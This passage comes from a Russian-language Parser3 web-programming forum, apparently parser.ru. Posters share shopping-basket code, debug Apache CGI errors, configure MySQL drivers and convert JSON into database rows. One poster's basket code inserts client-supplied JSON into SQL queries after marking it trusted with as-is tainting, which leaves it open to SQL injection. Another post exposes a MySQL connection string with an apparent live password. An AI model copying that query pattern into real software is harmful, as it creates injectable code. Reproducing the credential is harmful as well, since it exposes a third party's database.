		</ol>\
	}{\
		<p>В корзине пусто.</p>\
	}\
</div>\
\
\
@items[]\
<div id=\"items\">\
	<h2>Items</h2>\
	<ol>\
		^items.foreach[id;item]{\
			$in_basket(^basket.contains[$id])\
\
			<li id=\"$id\"^if($in_basket)[ class=\"in-basket\"] title=\"^if($in_basket)[Remove from basket;Add to basket]\">$item</li>\
		}\
	</ol>\
</div>[/code]\
\
basket.html:\
[code]@USE\
/page.html\
\
\
@main[]\
^if(^request:headers.X_REQUESTED_WITH.pos[XMLHttpRequest] > -1){\
	^action[]\
}{\
	^response[]\
}\
\
\
@title[]\
<title>Basket</title>\
\
\
@body[]\
^full_basket[]\
\
\
@full_basket[]\
<div id=\"full-basket\">\
	<a href=\"/page.html\">&larr^;</a>\
	<h1>Basket</h1>\
\
	^if($basket){\
		<table>\
			<tr>\
				<td>title</td>\
				<td>quantity</td>\
			</tr>\
			^basket.foreach[id;item]{\
				<tr id=\"$id\">\
					<td title=\"Remove from basket\">$item.title</td>\
				</tr>\
			}\
		</table>\
	}{\
		<p>Basket is empty.</p>\
	}\
</div>\
\
\
@action[]\
$id[$form:id]\
\
^switch[$form:action]{\
	^case[add;DEFAULT]{\
		$basket.$id[\
			$.id[$id]\
			$.title[$items.$id]\
		]\
	}\
	^case[remove]{\
		^basket.delete[$id]\
	}\
}\
\
^save_basket[]\
\
^if($form:view eq 'full'){\
	$result[^full_basket[]]\
}{\
	$result[\
		<div id=\"items\">^items[]</div>\
		<div id=\"basket\">^basket[]</div>\
	]\
}[/code]\
\
basket.js:\
[code]$(function(){\
	var backend = '/basket.html';\
\
	$('body').on('click', '#items ol li', function(){\
		var $this = $(this);\
\
		var data = {\
			id: $this.attr('id'),\
			action: $this.hasClass('in-basket') ? 'remove': 'add'\
		}\
\
		$.post(backend, data, function(response){\
			var $response = $(response);\
\
			$('#basket').replaceWith($response.find('#basket'));\
			$('#items').replaceWith($response.find('#items'));\
		});\
	});\
\
	$('body').on('click', '#full-basket td', function(){\
		var $this = $(this);\
\
		var data = {\
			id: $this.parent().attr('id'),\
			action: 'remove',\
			view: 'full'\
		}\
\
		$.post(backend, data, function(response){\
			$('#full-basket').replaceWith(response);\
		});\
	});\
});[/code]\
\
basket.txt:\
[code]id	title[/code]"
"84156","Спасибо за прекрасный пример, без него Я бы не понял что делать.\
Теперь все заработало.\
Вот мой код:\
\
[code]\
На всех страницах\
<header>\
<div id=\"basket\"></div>\
</header>\
\
На странице /basket\
<div id=\"fullBasket\"></div>\
\
\
basket.html\
^if(def $form:basket && def $form:basketAction){\
\
  $_jsonString[^taint[as-is;$form:basket]]\
  $_hash[^json:parse[$_jsonString]]\
\
  ^if(def $_hash.uuid){\
\
    $_basketQuery[^get.query[\
      $.table[basket]\
      $.select[\
        $.bID[= '$_hash.uuid']\
      ]\
    ]]\
\
    $_basketData[^get.selectData[$_basketQuery]]\
\
    $_table[^table::create{item	quantity	price}]\
\
    ^if(def $_hash.items){\
      ^_hash.items.foreach[;item]{\
        ^_table.append[$item]\
      }\
    }\
\
    $_hashItems[^json:string[$_table]]\
\
    ^switch[$form:basketAction]{\
\
      ^case[add_basket]{\
        ^self._transaction{\
          ^if(!def $_basketData.bID && !def $_basketData.items && def $_hashItems && def $_hash.create){\
            ^void:sql{\
              INSERT INTO basket (bID, items, create_at)\
              VALUES ('$_hash.uuid', '^taint[as-is;$_hashItems]', '$_hash.create')\
            }\
          }(def $_basketData.bID && def $_hashItems && $_basketData.items ne $_hashItems){\
            ^void:sql{\
              UPDATE basket\
              SET items = '^taint[as-is;$_hashItems]'\
              WHERE bID = '$_hash.uuid'\
            }\
          }\
        }\
      }\
\
      ^case[del_basket]{\
        ^self._transaction{\
          ^void:sql{\
            UPDATE basket\
            SET items = '^taint[as-is;$_hashItems]'\
            WHERE bID = '$_hash.uuid'\
          }\
        }\
      }\
\
      ^case[cng_basket]{\
        ^self._transaction{\
          ^void:sql{\
            UPDATE basket\
            SET items = '^taint[as-is;$_hashItems]'\
            WHERE bID = '$_hash.uuid'\
          }\
        }\
      }\
\
    }\
\
  }\
}\
$_basketQuery[^get.query[\
  $.table[basket]\
  $.select[\
    $.bID[= '$cookie:bID']\
  ]\
]]\
$_basketData[^get.selectData[$_basketQuery]]\
\
^if(def $_basketData.items && $_basketData.items ne '[]'){\
  $_basketString[^taint[as-is;$_basketData.items]]\
  $_basketHash[^json:parse[$_basketString]]\
\
  $_basketTable[^table::create{item	quantity	price}]\
  ^_basketHash.foreach[;item]{\
    ^_basketTable.append[$item]\
  }\
  $_basketHash[^_basketTable.hash[item]]\
  ^_basketTable.menu{\
    $sum(^eval(^eval($_basketTable.quantity * $_basketTable.price) + $sum))\
  }\
  $count(^_basketTable.count[])\
\
  $_basketItems[^_basketTable.menu{\
    $_basketTable.item\
  }[,]]\
\
  $_basketGoods[^get.query[\
    $.table[pages]\
    $.select[\
      $.eID[IN ($_basketItems)]\
      $.tID[= '4']\
    ]\
  ]]\
  $basketGoods[^get.selectData[$_basketGoods]]\
\
  ^if(def $basketGoods){\
    <div id=\"basket\">\
      В вашей ^if($request:uri eq '/basket'){корзине}{<a href=\"/basket\">корзине</a>} $count ^get.variations[$count;товар;товара;товаров] на сумму $sum &#8381; <br>\
      ^basketGoods.menu{\
        <div class=\"item\">\
          <div class=\"itemName\">$basketGoods.name</div>\
          <div class=\"button\" data-item=\"$basketGoods.eID\" data-quantity=\"-1\" data-action=\"cng_basket\">-</div>\
          <div class=\"itemQuantity\">$_basketHash.[$basketGoods.eID].quantity</div>\
          <div class=\"button\" data-item=\"$basketGoods.eID\" data-quantity=\"+1\" data-action=\"cng_basket\">+</div>\
          <div class=\"itemPrice\">$_basketHash.[$basketGoods.eID].price</div>\
        </div>\
      }\
    </div>\
    <div id=\"fullBasket\">\
      В вашей корзине $count ^get.variations[$count;товар;товара;товаров] на сумму $sum &#8381; <br>\
      ^basketGoods.menu{\
        <div class=\"item\">\
          <div class=\"itemName\">$basketGoods.name</div>\
          <div class=\"button\" data-item=\"$basketGoods.eID\" data-quantity=\"-1\" data-action=\"cng_basket\">-</div>\
          <div class=\"itemQuantity\">$_basketHash.[$basketGoods.eID].quantity</div>\
          <div class=\"button\" data-item=\"$basketGoods.eID\" data-quantity=\"+1\" data-action=\"cng_basket\">+</div>\
          <div class=\"itemPrice\">$_basketHash.[$basketGoods.eID].price</div>\
          <div class=\"button\" data-item=\"$basketGoods.eID\" data-action=\"del_basket\">Удалить</div>\
        </div>\
      }\
    </div>\
  }\
\
}{\
  <div id=\"basket\">Ваша ^if($request:uri eq '/basket'){корзина}{<a href=\"/basket\">корзина</a>} пуста</div>\
  <div id=\"fullBasket\">Ваша корзина пуста</div>\
}\
\
\
basket.js\
$(document).ready(function() {\
    var click = new Date();\
    var clickDate = click.format(\"yyyy-mm-dd HH:MM:ss\");\
\
    var backend = '/bulk/ajax/basket.html';\
\
    var basket;\
    var basketData = JSON.parse(localStorage.getItem('basket'));\
    var basketCookie = getCookie('bID');\
\
    if (basketCookie !== false) {\
        var path = '/bulk/ajax/basket.html?showJSON=true&uuid=' + basketCookie;\
    }\
\
    //Работа с кнопками\
    $('body').on('click', '.button', function() {\
        if (this.hasAttribute('data-item')) {\
            var item_id = this.getAttribute('data-item');\
        }\
        if (this.hasAttribute('data-price')) {\
            var price = this.getAttribute('data-price');\
        }\
        if (this.hasAttribute('data-quantity')) {\
            var count = this.getAttribute('data-quantity');\
            var quantity = document.getElementById(count);\
        }\
        if (this.hasAttribute('data-action')) {\
            var action = this.getAttribute('data-action');\
        }\
        switch (action) {\
            case 'add_basket':\
                basket = addBasket(item_id, quantity.value, price, action);\
                break;\
            case 'del_basket':\
                basket = delBasket(item_id, action);\
                break;\
            case 'cng_basket':\
                basket = cngBasket(item_id, count, action);\
                break;\
            default:\
                break;\
        }\
        var data = {\
            'basket': basket,\
            'basketAction': action\
        }\
        $.post(backend, data, function(response) {\
          var userURI = location.pathname;\
          if (userURI == '/basket') {\
              var result = $('<div />').append(response).find('#fullBasket').html();\
              $('#fullBasket').html(result);\
          }\
          var result = $('<div />').append(response).find('#basket').html();\
          $('#basket').html(result);\
        });\
    });\
\
    if (typeof(basketData) != \"undefined\" && basketData !== null) {\
\
        if (basketCookie == false) {\
            var cookieExpires = new Date(Date.parse(basketData.create) + 1000 * 60 * 60 * 24 * 3);\
            var dataCookie = {\
                'expires': cookieExpires,\
                'path': '/'\
            };\
            setCookie('bID', basketData.uuid, dataCookie);\
        }\
\
    } else if (basketData == null && basketCookie !== false) {\
\
        $.getJSON(path, function(data) {\
            var storage = {};\
\
            for (var key in data) {\
                if (key == 'items') {\
                    if (data[key] == '') {\
                        storage[key] = [];\
                    } else {\
                        storage[key] = data[key];\
                    }\
                } else {\
                    storage[key] = data[key];\
                }\
            }\
\
            localStorage.setItem('basket', $.toJSON(storage));\
        });\
\
    } else if (basketData == null && basketCookie == false) {\
        var newUUID = generateUUID();\
        var data = {\
            'uuid': newUUID,\
            'items': [],\
            'create': clickDate\
        };\
\
        localStorage.setItem('basket', $.toJSON(data));\
\
        basketData = JSON.parse(localStorage.getItem('basket'));\
\
        if (basketCookie == false) {\
            var cookieExpires = new Date(Date.parse(basketData.create) + 1000 * 60 * 60 * 24 * 3);\
            var dataCookie = {\
                'expires': cookieExpires,\
                'path': '/'\
            };\
            setCookie('bID', basketData.uuid, dataCookie);\
        }\
\
    }\
    $.post(backend, function(response) {\
        var userURI = location.pathname;\
        if (userURI == '/basket') {\
            var result = $('<div />').append(response).find('#fullBasket').html();\
            $('#fullBasket').html(result);\
        }\
        var result = $('<div />').append(response).find('#basket').html();\
        $('#basket').html(result);\
    });\
});\
[/code]"
"84157","Лог: \
[Mon May 08 15:42:19.735680 2017] [cgi:error] [pid 15692] [client 95.153.133.147:9884] End of script output before headers: parser3.cgi\
\
подскажите где копать? Выдает ошибку 500."
"84159","Файл parser3.log в папке cgi-bin отсутствует."
"84160","При обращении напрямую к parser3.cgi что происходит?"
"84161","Версии программного обеспечения\
Apache	2.4.10-10+deb8u8\
MySQL	5.5.55-0+deb8u1\
PHP	5.6.30+dfsg-0+deb8u1\
Perl	5.20.2-3+deb8u6\
Kernel	3.16.0-4-amd64\
\
Пытаюсь установить парсер parser3_4_5_debian8x64.tar.gz"
"84162","Internal Server Error\
\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
\
Please contact the server administrator at dev@10-f.ru to inform them of the time this error occurred, and the actions you performed just before this error.\
\
More information about this error may be available in the server error log.\
_____________________________\
Apache/2.4.10 (Debian) Server at lifesky.ru Port 443\
\
https://lifesky.ru/cgi-bin/parser3.cgi"
"84166","Уже несколько раз заного пытался установить не без успешно. \
\
Первый раз такая хрень."
"84169","Сейчас в корне сайта создал файл test.cgi\
\
с текстом \
[quote][code]#!/usr/local/bin/bash\
echo Content-type: text/html\
echo \
echo \"<h2>Today is \" \
date \
echo \"</h2>\" \
[/code][/quote]\
\
При переходе https://lifesky.ru/test.cgi ошибка 500\
Моя логика подсказывает, что у меня проблема с работой cgi или я ошибаюсь?"
"84170","[Tue May 09 00:32:57.753282 2017] [core:alert] [pid 2547] [client 199.16.157.180:33710] /var/www/lifesky/data/www/lifesky.ru/.htaccess: Options not allowed here\
\
\
содержимое файла\
[code]#Options All -Indexes -Includes +FollowSymLinks\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
RewriteEngine Off\
RewriteCond %{SERVER_PORT} !^443$\
RewriteRule ^(.*)$ https://%{SERVER_NAME}%{REQUEST_URI} [R=301,L]\
\
Options +FollowSymLinks\
RewriteEngine On\
RewriteCond %{HTTP_HOST} ^www.lifesky\\.ru$ [NC]\
RewriteRule ^(.*)$ https://lifesky.ru/$1 [R=301,L]\
\
\
RedirectMatch 301 ^/p/(.*) /aero/$1\
ErrorDocument 403 https://lifesky.ru/\
ErrorDocument 404 /e404/index.html\
\
AddType video/ogg .ogv\
AddType video/mp4 .mp4\
AddType video/webm .webm\
\
\
Redirect 301 /aero/city/ /aero/index.html\
Redirect 301 /doc/license/ /doc/index.html\
\
\
<Files ~ \"\\.(p|cfg|htaccess)$\">\
	Order allow,deny\
	Deny from all\
</Files>\
\
<ifModule mod_headers.c>\
    <FilesMatch \"\\.(html|p)$\">\
        Header set Cache-Control \"max-age=43200\"\
    </FilesMatch>\
    <FilesMatch \"\\.(js|css|txt)$\">\
        Header set Cache-Control \"max-age=604800\"\
    </FilesMatch>\
    <FilesMatch \"\\.(flv|swf|ico|gif|jpg|jpeg|png)$\">\
        Header set Cache-Control \"max-age=2592000\"\
    </FilesMatch>\
    <FilesMatch \"\\.(pl|php|cgi|spl|scgi|fcgi)$\">\
        Header unset Cache-Control\
    </FilesMatch>\
</IfModule>\
\
<ifModule mod_expires.c>\
    ExpiresActive On\
    ExpiresDefault \"access plus 5 seconds\"\
    ExpiresByType image/x-icon \"access plus 2592000 seconds\"\
    ExpiresByType image/jpeg \"access plus 2592000 seconds\"\
    ExpiresByType image/png \"access plus 2592000 seconds\"\
    ExpiresByType image/gif \"access plus 2592000 seconds\"\
    ExpiresByType application/x-shockwave-flash \"access plus 2592000 seconds\"\
    ExpiresByType text/css \"access plus 604800 seconds\"\
    ExpiresByType text/javascript \"access plus 604800 seconds\"\
    ExpiresByType application/javascript \"access plus 604800 seconds\"\
    ExpiresByType application/x-javascript \"access plus 604800 seconds\"\
    ExpiresByType text/html \"access plus 43200 seconds\"\
    ExpiresByType application/xhtml+xml \"access plus 600 seconds\"\
</ifModule>\
[/code]"
"84171","При этом остается ошибка 500, а так же файл с логами парсера не создался (отсутствует)"
"84172","Закомментируйте все директивы .htaccess, кроме AddHandler и Action и пробуйте.\
Если заработает — включайте по одной пока не свалится.\
\
Неплохо бы добиться отдачи Апачем статического файла, а уже потом запускать cgi."
"84173","Не получилось поставить последнею версию. Поставил Parser/3.4.4 (compiled on x86_64-unknown-linux-gnu)"
"84174","Диалог появляетя при обработке в постпроцессе. Не помню зачем у меня было сделано именно так, перенес в main и все ок\
\
[code]@main[]\
$response:body[<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<feed xmlns=\"http://www.w3.org/2005/Atom\">\
	<title>Мой блог</title>\
	<subtitle>Самый лучший блог на свете</subtitle>\
	<link href=\"http://example.org/\"/>\
	<updated>2003-12-13T18:30:02Z</updated>\
	<author>\
		<name>Иван Петров</name>\
		<email>petrov@example.com</email>\
	</author>\
	<id>urn:uuid:60a76c80-d399-11d9-b91C-0003939e0af6</id>\
	<entry>\
		<title>Фотографии из Африки</title>\
		<link href=\"http://example.org/2003/12/13/atom03\"/>\
		<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\
		<updated>2003-12-13T18:30:02Z</updated>\
		<summary>Я вернулся из Африки и выложил свои фотографии...</summary>\
	</entry>\
</feed>]\
\
\
@postprocess[body]\
$response:content-type[\
	$.value[application/atom+xml]\
	$.charset[$response:charset]\
]\
[/code]"
"84175","[code]@postprocess[result]\
$response:content-type[\
	$.value[application/atom+xml]\
	$.charset[$response:charset]\
][/code]\
\
Обычный ответ, документ отображает, диалога загрузки нет."
"84176","По-идее Linux бинарники Debian 8 и Debian 7 (если конечно ставилась версия для Debian) вполне совместимы...\
Ну и хорошо бы прислать результат выполнения в консоли команды ldd <путь к parser3.cgi версии 3.4.5>."
"84177","Написал бы раньше, но руки не дошли. И почта указана, которую редко проверяю. Исправил чтобы оперативнее реагировать %)"
"84178","Здравствуйте, подскажите пожалуйста как реализовать счетчик который каждые n минут прибавляет значения.\
\
К примеру http://www.parser.ru/examples/counter/ записывает в файл +1 (обновили страницу получили +1), а можно ли чтобы данный счетчик зависел от времени? \
\
Скажем первоначальное значение 0 (выводится 0 и в файле записано 0), через 40 минут к значению файла (0) прибавилось 15, через еще 40 минут прибавилось еще 15 (выводится уже 30) и т.д.\
\
Какими методами можно реализовать счетчик зависящий от времени?"
"84180","Межете сравнивать текущее время и время последнего изменения файла счётчика. Так вы получите сколько минут прошло. Исходя из того, сколько минут прошло вы уже можете решить какое значение надо прибавить к счетчику."
"84181","Ну во всяком случае у нас работает. :)\
\
>lsb_release -a\
No LSB modules are available.\
Distributor ID:	Ubuntu\
Description:	Ubuntu 16.04.2 LTS\
Release:	16.04\
Codename:	xenial\
\
>./parser3.cgi\
./parser3.cgi file not specified\
Parser/3.4.5 (compiled on x86_64-unknown-linux-gnu)\
..."
"84184","Тут всё равно надо высчитывать время с последнего обновления. Так как если зайти на страницу через 81 минуту, то кеш - да, протухнет, но счётчик обновиться на 15, а не на 30.\
\
Это если я правильно понял задачу :)"
"84185","http://www.parser.ru/docs/lang/?filestat.htm\
\
$файл.mdate - дата изменения;"
"84186","И даже старожилы Sumo, G_Z, Spearance и ко все еще активны. Очень приятно удивлен!\
\
Однако до сих пор меня мучает один вопрос. Зачем для восстановления пароля спрашивать [i]сочетание[/i] логина и эл. почты? Я вот так и не смог восстановить доступ к [url=\"http://www.parser.ru/forum/members/?id=595\"]своему аккаунту[/url], пришлось писать анонимно :("
"84187","Я уже и забыл, что бывают логины с пробелами :)"
"84188","Вроде как все поисковики уже проиндексировали https и считают его главным зеркалом, поэтому добавлен редирект с http://www.parser.ru/ на https://www.parser.ru/."
"84190","[quote]И даже старожилы Sumo, G_Z, Spearance и ко все еще активны.[/quote]\
\
— Не дождётесь! ©"
"84191","Здравствуйте.\
\
Есть хэш такого вида:\
[code]\
\"attr\":{\
	\"1ebded6a\":{\
		\"name\":\"awd\",\
		\"type\":\"1\",\
		\"arr\":{\
			\"0\":{ \"name\":\"zsc\", \"value\":\"11\" },\
			\"1\":{ \"name\":\"fgh\", \"value\":\"22\" }\
		}\
	},\
	\"f37215e2\":{\
		\"name\":\"qe2\",\
		\"type\":\"1\",\
		\"arr\":{\
			\"0\":{ \"name\":\"qewd\", \"value\":\"22\" },\
			\"1\":{ \"name\":\"tyut\", \"value\":\"33\" }\
		}\
	}\
}\
[/code]\
Задача записать в таблицу БД в таком формате:\
[code]\
name	type	arr\
awd	1	[{\"name\": \"zsc\", \"value\": \"11\"}, {\"name\": \"fgh\", \"value\": \"22\"}]\
qe2	1	[{\"name\": \"qewd\", \"value\": \"22\"}, {\"name\": \"tyut\", \"value\": \"33\"}]\
[/code]\
\
Пробовал вот так:\
[code]\
$_table[^table::create{name	type	arr}]\
^if(def $_hash.attr){\
	^_hash.attr.foreach[;attr]{\
		^_table.append[$attr]\
	}\
}\
или так:\
^if(def $_hash.attr){\
	^_hash.attr.foreach[;attr]{\
		^_table.append[^hash::create[\
			^attr.fields.foreach[key;value]{\
				$.$key[$value]\
			}\
		]]\
	}\
}\
[/code]\
\
Проблема в  том, что поле arr является хэшем, соответственно не записывается.\
Если создавать таблицу под arr:\
[code]\
$_table[^table::create{name	value}]\
^if(def $_hash.attr){\
	^_hash.attr.foreach[;attr]{\
		^attr.arr.foreach[;value]{\
			^_table.append[$value]\
		}\
	}\
}\
[/code]\
То в нее записывается все разом: [ {\"name\":\"zsc\",\"value\":\"11\"}, {\"name\":\"fgh\",\"value\":\"22\"}, {\"name\":\"qewd\",\"value\":\"22\"}, {\"name\":\"tyut\",\"value\":\"33\"} ]\
\
Как мне лучше действовать, чтобы получить желаемый результат?"
"84192","[code]@main[]\
$data[^json:parse[{\"attr\":{\
	\"1ebded6a\":{\
		\"name\":\"awd\",\
		\"type\":\"1\",\
		\"arr\":{\
			\"0\":{ \"name\":\"zsc\", \"value\":\"11\" },\
			\"1\":{ \"name\":\"fgh\", \"value\":\"22\" }\
		}\
	},\
	\"f37215e2\":{\
		\"name\":\"qe2\",\
		\"type\":\"1\",\
		\"arr\":{\
			\"0\":{ \"name\":\"qewd\", \"value\":\"22\" },\
			\"1\":{ \"name\":\"tyut\", \"value\":\"33\" }\
		}\
	}\
}}]]\
\
INSERT INTO table\
VALUES\
^data.attr.foreach[;item]{\
	(\
		'$item.name',\
		'$item.type',\
		'[^item.arr.foreach[;values]{\
			^json:string[$values]\
		}[,]]'\
	)\
}[,][/code]"
"84193","После переноса сайта с VDS на хостинг никак не удается настроить связь с sql.\
\
[code]/: /home/c/ce47015/kultforum/public_html/classes/sql.p(46:2): 'mysql://ce47015_kultforu:oNIAdhfu@localhost/ce47015_kultforu' $SQL:drivers table must be defined [parser.runtime][/code]\
\
Нашел только эту тему, ответа мне не дало. https://www.parser.ru/forum/?id=81592\
\
Может кто-нибудь сможет подсказать?"
"84194","по приведенной вами ссылке есть если не ответ, то как минимум наводящий вопрос.\
\
Возможно забыли перенести конфигурационный auto.p (обычно он находится в директории с исполняемым файлом парсера). В этом файле должен быть определен [url=\"https://www.parser.ru/docs/lang/parserconfmethod.htm\"]конфигурационный метод[/url], в котором должна быть задана таблица SQL-драйверов, на отсутствие которой намекает ваше сообщение об ошибке."
"84196","Скачал с этого сайта parser3mysql.dll и libmySQL.dll, положил в папочку.\
Задал в auto.p таблицу\
[code]$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll\
#sqlite	$sqldriversdir/parser3sqlite.dll	$sqldriversdir/sqlite3.dll\
#pgsql	$sqldriversdir/parser3pgsql.dll	$sqldriversdir/libpq.dll\
#odbc	$sqldriversdir/parser3odbc.dll\
#oracle	$sqldriversdir/parser3oracle.dll	c:\\Oracle\\Ora81\\BIN\\oci.dll?PATH+=^;C:\\Oracle\\Ora81\\bin\
}]\
][/code]\
Теперь иначе ругается [code]/: /home/c/ce47015/kultforum/public_html/classes/sql.p(46:2): '/home/c/ce47015/kultforum/public_html/drivers/parser3mysql.dll' /home/c/ce47015/kultforum/public_html/drivers/parser3mysql.dll: invalid ELF header [<no type>][/code]\
Версии парсера и драйверов не сходятся?"
"84197","Вообще-то .dll это для Windows, у вас же судя по путям и ошибке Unix. SQL драйвер должен быть той же версии и для той же OS, что и сам парсер. Если раньше все работало, почему бы не взять правильный конфиг и правильные файлы со старого хостинга или из бекапа? Там же по сути только реквизиты подключения к базе данных надо было бы поменять."
"84198","Спасибо, действительно, не тот драйвер.\
вот и я не понимаю, как оно раньше работало, вроде все те же файлы, а новых реквизитов оказалось недостаточно."
"84199","У страницы есть атрибуты (свойства), каждый атрибут записывается в БД отдельной строкой.\
\
При добавлении, изменении или удалении атрибута необходимо сравнивать их с БД.\
\
Вот что у меня получилось:\
[code]\
@_updateAttr[eID;data]\
^if(def $eID){\
	$_attr[^get.query[\
		$.table[attributes]\
		$.type[hash]\
		$.select[\
			$.eID[= '$eID']\
		]\
	]]\
	$attr[^get.selectData[$_attr]]\
\
	^if(def $attr){\
		$attrTable[^table::create{id	img	name	type	link	attr}]\
		^data.foreach[id;item]{\
			^attrTable.append[\
				$.id[$id]\
				$.img[^if(def $item.img){$item.img}{}]\
				$.name[^if(def $item.name){$item.name}{}]\
				$.type[^if(def $item.type){$item.type}{}]\
				$.link[^if(def $item.link){$item.link}{}]\
				$.attr[^if(def $item.arr){[^item.arr.foreach[;values]{^json:string[$values]}[, ]]}{}]\
			]\
		}\
		$attrHash[^attrTable.hash[id]]\
		^attrTable.menu{\
			$attrExist[$attr.[$attrTable.id]]\
			^if($attrExist){\
				^if($attrExist.name ne $attrTable.name){\
					Update name\
				}($attrExist.type ne $attrTable.type){\
					Update type\
				}($attrExist.attr ne $attrTable.attr){\
					Update attr\
				}\
			}{\
				^rem{\
					#\
					Insert new\
					#\
				}\
				^_insertAttr[$eID;$attrHash.[$attrTable.id]]\
			}\
		}\
	}\
}\
\
@_insertAttr[eID;data]\
^if(def $eID){\
	^json:string[$data]\
}\
[/code]\
\
Как обновлять атрибут мне ясно, но вот как добавить новый не понятно, перепробовал разные способы foreach, не один не работает как нужно.\
\
Когда хеш новых элементов попадает в @_insertAttr, он выглядит так:\
[code]{\
	\"id\":\"3d4c21b3\",\
	\"img\":\"\",\
	\"name\":\"Name\",\
	\"type\":\"1\",\
	\"link\":\"\",\
	\"attr\":\"[{\"name\":\"Value\", \"value\":\"5\"}, {\"name\":\"Value\", \"value\":\"6\"}]\"\
}\
{ \
	\"id\":\"0314e171\",\
	\"img\":\"\",\
	\"name\":\"Jane\",\
	\"type\":\"3\",\
	\"link\":\"\",\
	\"attr\":\"[{\"name\":\"Value\", \"value\":\"7\"}, {\"name\":\"Value\", \"value\":\"8\"}]\"\
}[/code]\
\
Этот хеш нужно перебрать, убрать из него id и добавить eID, как в Вашей конструкции:\
[code]\
INSERT INTO attributes\
	(eID, img, name, type, link, attr)\
VALUES\
	^data.foreach[;item]{(\
		'$eID',\
		'^if(def $item.img){$item.img}{}',\
		'^if(def $item.name){$item.name}{}',\
		'^if(def $item.type){$item.type}{}',\
		'^if(def $item.link){$item.link}{}',\
		'^if(def $item.attr){$item.attr}{}'\
	)}[, ]\
[/code]\
\
Вот только она не работает."
"84200","Сделайте метод, который принимает на вход данные заданной структуры и формирует запрос.\
И передавайте ему данные этой самой структуры.\
\
По пути преобразуйте, проверяйте — делайте всё, что нужно.\
\
\
Неясно зачем везде вот эти конструкции.\
[code]'^if(def $item.img){$item.img}{}'[/code]\
Просто [code]'$item.img'[/code]"
"84201","Возможно когда исправляли реквизиты в auto.p как-то повредили\
секцию с драйверами - например табы заменились на пробелы?"
"84202","[code]\
@_checkAttr[eID;data]\
^if(def $eID){\
\
	$_attr[^get.query[\
		$.table[attributes]\
		$.type[hash]\
		$.select[\
			$.eID[= '$eID']\
		]\
	]]\
	$attr[^get.selectData[$_attr]]\
\
\
	$attrTable[^table::create{id	img	name	type	link	attr}]\
	$updateTable[^table::create{id	eID	img	name	type	link	attr}]\
	$insertTable[^table::create{eID	img	name	type	link	attr}]\
\
	^data.foreach[id;item]{\
		^attrTable.append[\
			$.id[$id]\
			$.img[$item.img]\
			$.name[$item.name]\
			$.type[$item.type]\
			$.link[$item.link]\
			$.attr[[^item.arr.foreach[;values]{^json:string[$values]}[, ]]]\
		]\
	}\
\
	$attrHash[^attrTable.hash[id]]\
\
	^attrTable.menu{\
		$attrExist[$attr.[$attrTable.id]]\
		^if($attrExist){\
			^if($attrExist.name ne $attrTable.name || $attrExist.type ne $attrTable.type || $attrExist.attr ne $attrTable.attr){\
				^updateTable.append[\
					$.id[$attrTable.id]\
					$.eID[$eID]\
					$.img[$attrTable.img]\
					$.name[$attrTable.name]\
					$.type[$attrTable.type]\
					$.link[$attrTable.link]\
					$.attr[$attrTable.attr]\
				]\
			}\
		}{\
			^insertTable.append[\
				$.eID[$eID]\
				$.img[$attrHash.[$attrTable.id].img]\
				$.name[$attrHash.[$attrTable.id].name]\
				$.type[$attrHash.[$attrTable.id].type]\
				$.link[$attrHash.[$attrTable.id].link]\
				$.attr[$attrHash.[$attrTable.id].attr]\
			]\
		}\
	}\
\
	^if($updateTable){\
		^_updateAttr[$eID;$updateTable]\
	}\
	^if($insertTable){\
		^_insertAttr[$eID;$insertTable]\
	}\
\
}\
\
@_insertAttr[eID;data]\
^if(def $eID){\
	^self._transaction{\
		^void:sql{\
			INSERT INTO attributes\
				(eID, img, name, type, link, attr)\
			VALUES\
				^data.menu{(\
					'$data.eID',\
					'$data.img',\
					'$data.name',\
					'$data.type',\
					'$data.link',\
					'$data.attr'\
				)}[, ]\
		}\
	}\
}\
\
@_updateAttr[eID;data]\
^if(def $eID){\
	^self._transaction{\
		^void:sql{\
			^data.menu{\
				UPDATE `attributes`\
				SET\
					eID = '$data.eID',\
					img = '$data.img',\
					name = '$data.name',\
					type = '$data.type',\
					link = '$data.link',\
					attr = '$data.attr'\
				WHERE id = $data.id\
			}\
		}\
	}\
}\
[/code]\
\
С таким работать можно, или тут что-то можно улучшить?"
"84203","вообще ничего про драйвера не было"
"84204","Как бы текущая актуальная и long-term версия Ubuntu Server = 16.04 LTS, что соответствует емнип Debian 9 (stretch/sid).\
\
А в сборках только Debian 8 (понятно, что кому надо пусть сам собирает... но вроде не экзотический дистр, а как раз самый common-мэйнстрим / actual)"
"84205","Недельку осталось потерпеть:\
https://en.wikipedia.org/wiki/Debian_version_history\
Stretch 17 June 2017\
\
Да и бинарник от Debian 8 должен без проблем работать..."
"84206","Есть метод, который группирует строки в одну через разделитель-точку и передаёт её как параметр второму методу, который разбирает её по точкам и раскладывает во вложенные хеши.\
\
Если в данных встречается точка, то метод, разумеется, учитывает её и разбор становится некорректным.\
При этом, данные правильно промаркированы: внешние приходят грязными, а точка-разделитель написана в коде и является чистой.\
\
Напрашивается учёт покраски и разбиение по чистым точкам, а не по всем подряд.\
Но ни string.replace, ни string.split не умеют учитывать раскраску — они работают просто с символами.\
\
Есть ли способ учесть покраску при разборе?\
Пока в голову приходят только кривые решения с анализом покраски через reflection."
"84208","рац.предложение прозвучало около года назад\
https://www.parser.ru/forum/?id=83347\
\
из сути которого следует идея лаконично причесать \"зоопарк\" taint-измов и одновременно расширить гибкость, которая должна помочь решить вашу проблему (но это не точно :) \
\
[b]Предложение:[/b] заменить всё одним методом (оператором) \
[code]\
\
^paint[string][options]\
\
# для обратной совместимости ^taint не трогаем\
# формулировку типа \"краски\" tainted для неопределенно грязных меняем на dirty \
# чтобы не порождать исторически сложившейся путаницы\
\
где,\
[b]string[/b]:  строка (или код, т.к. механизм работает только со строками\
         то синтаксически \"хромой\" наследный ^untaint{} не имеет смысла)\
\
[b]options[/b]: хеш опций\
  $.to[color]           в какой цвет красить, по-умолчанию dirty (неопределенно грязный)\
\
  $.what[               красить не всю строку, а только определенные цвета в строке\
     $._default(true/false)    правило для всех встреченных цветов, \
                               и не указанных в наборе ниже, по-умолчанию _default(true) значит\
                               красить все цвета строки в [b]$.to[/b] (стандартное поведение taint-ов)\
\
     $.color(true/false)   true - красить указанный цвет в [b]$.to[/b] или наоборот исключить (false)\
  ]\
\
